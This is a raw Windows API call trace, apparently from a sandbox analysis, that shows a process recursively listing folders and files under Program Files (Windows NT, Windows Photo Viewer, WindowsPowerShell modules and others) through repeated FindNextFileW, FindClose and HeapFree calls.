	[0180.463] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc584957, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0180.674] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.674] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x480bd806, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xdc94812c, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x480bd806, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x417c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1
	[0180.674] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.674] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1
	[0180.676] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.676] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776fe01f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776fe01f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776fe01f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x97a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1
	[0180.676] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.676] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0
	[0180.676] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0180.676] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.677] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6cdda3f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6cdda3f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0180.679] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.679] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfdb9c3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cfdb9c3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cfdb9c3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19340, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0180.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.680] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6c91704, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6c91704, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0180.682] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.682] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe53fb143, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe53fb143, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0180.683] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.730] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1
	[0180.731] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.731] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0
	[0180.731] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0180.731] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0180.731] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe6d2a046, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe6d2a046, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1
	[0180.891] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.891] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1
	[0180.891] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.891] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0
	[0180.891] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0180.892] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.892] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5049d180, ftCreationTime.dwHighDateTime=0x1d5a876, ftLastAccessTime.dwLowDateTime=0x942c3af0, ftLastAccessTime.dwHighDateTime=0x1d5a2b3, ftLastWriteTime.dwLowDateTime=0x942c3af0, ftLastWriteTime.dwHighDateTime=0x1d5a2b3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashfxp.exe", cAlternateFileName="")) returned 1
	[0180.897] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0180.897] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0180.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0180.898] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0180.898] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0180.898] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0180.898] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1
	[0180.902] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0180.902] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0
	[0180.902] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0180.902] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.902] FindNextFileW (in: hFindFile=0x4141018, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0180.902] FindClose (in: hFindFile=0x4141018 | out: hFindFile=0x4141018) returned 1
	[0180.902] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.902] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1
	[0180.903] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0180.903] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0180.904] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0180.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0180.904] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1
	[0180.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.904] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0180.904] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0180.904] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.904] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1
	[0180.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0180.905] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0180.905] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0180.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0180.905] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0180.905] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0180.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.905] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1
	[0180.906] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0180.906] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0180.907] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0180.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0180.907] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0180.907] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0180.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0180.907] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0
	[0180.907] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0180.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0180.907] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0
	[0180.907] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0180.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0180.909] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0
	[0180.909] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0180.909] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0180.909] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0
	[0180.909] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0180.909] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0180.909] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0180.909] FindClose (in: hFindFile=0x4140798 | out: hFindFile=0x4140798) returned 1
	[0180.909] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.910] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1
	[0180.915] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
